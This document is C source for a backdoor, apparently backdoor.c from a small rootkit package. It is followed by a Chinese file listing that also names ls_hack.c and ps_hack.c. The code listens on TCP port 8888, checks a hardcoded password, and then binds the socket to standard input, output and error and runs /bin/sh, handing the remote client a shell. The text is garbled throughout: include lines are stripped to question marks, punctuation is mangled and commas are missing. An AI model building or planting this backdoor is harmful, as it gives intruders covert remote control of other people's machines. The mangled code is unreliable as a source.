#include???
#include???
#include???
#include???
#include???
#include??
#include?


int?main（int?argc?char?**argv）
{
????int?i?listenfd?goshyoujinnsama;
????pid_t?pid;
????int?len?=?128;
????int?port=8888;??
????char?buf[len];
????socklen_t?len2;
????struct?sockaddr_in?s_addr;
????struct?sockaddr_in?c_addr;
????char?enterpass[32]=“Stop!?who?are?you??“;
????char?welcome[32]=“Welcomemaster!“;
????char?password[5]=“11111“;
????char?sorry[32]=“heheda?!“;
?
????listenfd?=?socket（AF_INETSOCK_STREAM0）;
????if?（listenfd?==?-1）{
????????exit（1）;
????}

????bzero（&s_addrsizeof（s_addr））;
????s_addr.sin_family=AF_INET;
????s_addr.sin_addr.s_addr=htonl（INADDR_ANY）;
????s_addr.sin_port=htons（port）;
????
????if?（bind（listenfd?（struct?sockaddr?*）&s_addr?sizeof（s_addr））?==?-1）{
????????exit（1）;
????}
????if?（listen（listenfd?20）==-1）{
????????exit（1）;
????}
????len2?=?sizeof（c_addr）;

????while（1）{
????????goshyoujinnsama?=?accept（listenfd?（struct?sockaddr?*）&c_addr?&len2）;
????????if（（pid?=?fork（））?>?0）
????????{
????????????exit（0）;
????????}else?if（!pid）{
????????????close（listenfd）;
????????????write（goshyoujinnsama?enterpass?strlen（enterpass））;
????????????memset（buf‘\0‘?len）;
????????????read（goshyoujinnsama?buf?len）;
????????????if?（strncmp（bufpassword5）?!=0）{
????????????????write（goshyoujinnsama?sorry?strlen（sorry））;
????????????????close（goshyoujinnsama）;
????????????????exit（0）;
????????????}else{
????????????????write（goshyoujinnsama?welcome?strlen（welcome））;
????????????????dup2（goshyoujinnsama0）;
????????????????dup2（goshyoujinnsama1）;?
????????????????dup2（goshyoujinnsama2）;
????????????????execl（“/bin/sh“?“toSyojinn“?（char?*）?0）;
????????????}
????????}
????}
????close（goshyoujinnsama）;
}

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件????????1889??2017-11-05?14:24??backdoor.c
?????文件????????4950??2017-11-04?13:01??ls_hack.c
?????文件?????????177??2017-11-05?12:16??Makefile
?????文件????????6173??2017-11-05?10:18??ps_hack.c